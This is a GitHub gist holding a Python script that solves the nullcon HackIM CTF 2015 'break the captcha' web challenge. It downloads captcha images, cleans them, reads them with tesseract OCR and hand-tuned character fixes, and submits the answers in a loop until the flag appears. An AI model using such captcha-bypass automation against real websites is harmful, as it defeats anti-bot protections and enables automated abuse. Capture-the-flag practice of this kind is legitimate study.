Skip to content

Instantly share code, notes, and snippets.

@pich4ya
Created January 11, 2015 20:55
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save pich4ya/4cbfb645b29d75a81d3f to your computer and use it in GitHub Desktop.
Save pich4ya/4cbfb645b29d75a81d3f to your computer and use it in GitHub Desktop.
nullcon HackIM CTF 2015 : web500 - break the captcha!
# -*- coding: utf-8 -*-
#!/usr/bin/env python
# @author LongCat (Pichaya Morimoto)
# nullcon HackIM CTF 2015 : web500 - break the captcha!
# sudo apt-get install python-dev libjpeg-dev libfreetype6-dev zlib1g-dev imagegamick tesseract-ocr
# pip uninstall pillow && pip uninstall Pillow && pip install -I Pillow
from PIL import Image
import urllib, urllib2, cookielib, os, re, time, sys
url_captcha='http://54.165.191.231/imagedemo.php'
url_submit='http://54.165.191.231/verify.php'
url_home='http://54.165.191.231/captcha.php'
cj = cookielib.CookieJar()
opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(cj))
# 1. fetch session cookie
resp = opener.open(url_home)
content = resp.read()
#print content
m = re.search('Score :(.+?)', content)
if m:
score = m.group(1)
print 'score = ',score
while True:
if score is '0' or score is '1':
print '------------------'
print time.ctime()
print '------------------'
captcha='captcha.png'
while True: # fix timeout bug
# 2. retrieve captcha image
f = opener.open(url_captcha)
data = f.read()
f.close()
with open(captcha, "wb") as d:
d.write(data)
if os.path.getsize(captcha) > 0: # fix timeout bug
break
else:
print 'reset!! empty file == timeout (120s)'
picture = Image.open(captcha)
black = (0,0,0)
white = (255,255,255)
width, height = picture.size
# 3. image processing: black & white
for x in range(0,width):
for y in range(0,height):
r,g,b = picture.getpixel( (x,y) )
if r is 0 and g is 0 and b is 255: # blue
picture.putpixel( (x,y), white)
elif r is 64 and g is 64 and b is 64: # gray
picture.putpixel( (x,y), white)
elif r is 0 and g is 0 and b is 0: # black
picture.putpixel( (x,y), white)
elif r is 122 and g is 111 and b is 255: # text
picture.putpixel( (x,y), black)
else:
print 'no'
'''
im2 = im1.resize((width, height), Image.NEAREST) # use nearest neighbour
im3 = im1.resize((width, height), Image.BILINEAR) # linear interpolation in a 2x2 environment
im4 = im1.resize((width, height), Image.BICUBIC) # cubic spline interpolation in a 4x4 environment
im5 = im1.resize((width, height), Image.ANTIALIAS) # best down-sizing filter
'''
resize = 5
picture = picture.resize((int(width*resize), int(height*resize)), Image.ANTIALIAS) # BICUBIC is awesome
picture.save('result.png')
os.system('convert -median 4 result.png result.tif')
# 4. OCR
os.system('tesseract -l eng -psm 8 result.tif result 2>/dev/null')
f = open ("result.txt","r")
val = f.read().replace("\n", "").replace(" ","")
print 'raw: ',val
f.close()
# 4.1 manual tuning
# problem: see 'y' as 'g', see 'A' as 'Q', see 'y' as 'U'
val = val.replace('1:.','t')
val = val.replace('l\'1','M')
if len(val) > 6: # error corrections
val = val.replace('l-J','W')
val = val.replace('l~J','W')
val = val.replace('l-I','W')
val = val.replace('I-J','W')
val = val.replace('I~J','W')
val = val.replace('l-l','W')
val = val.replace('lsl','W')
val = val.replace('luJ','W')
val = val.replace('T\'1','M')
val = val.replace('r\'1','M')
val = val.replace('I\'1','M')
val = val.replace('I-‘','f')
val = val.replace('Pl','M')
val = val.replace('P1','M')
val = val.replace('<F','f')
val = val.replace('fl','M')
val = val.replace('F‘','f')
val = val.replace('{‘','f')
val = val.replace('¥‘','f')
val = val.replace('r‘','r')
val = val.replace('Cl','q')
val = val.replace('C1','q')
val = val.replace('CI','q')
val = val.replace('c1','q')
val = val.replace('cI','q')
val = val.replace('cl','q')
val = val.replace(']-','j')
val = val.replace(')(','X')
val = val.replace('\\/','v')
val = val.replace('ld','W')
val = val.replace('“','W')
val = val.replace('8\'','g')
val = val.replace('fi','A')
val = val.replace('1','l')
val = val.replace('2','Z')
val = val.replace('5','S')
val = val.replace('8','g')
val = val.replace('0','O') # Q
val = val.replace('/','g')
val = val.replace('-','a')
val = val.replace('\\','j')
val = ''.join(re.findall("[a-zA-Z0-9]+", val))
print 'submit: ',val
match = re.search("[0-9]",val)
if match:
print 'save time on [0-9] :|'
continue
if len(val) is not 6:
print 'save time on size != 6 :|'
continue
# POST /verify.php HTTP/1.1
# solution=jJhZWw&Submit=Submit
# 5. submit captcha
submit_data = urllib.urlencode({'solution' : val, 'submit' : 'Submit'})
resp = opener.open(url_submit, submit_data)
content = resp.read()
# 6. check score
m = re.search('Score :(.+) ', content)
if m:
score = m.group(1)
print 'score = %s for session=%s'% (score,cj._cookies['54.165.191.231']['/']['PHPSESSID'])
# 7. capture the flag
if score is '50':
print content
break
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment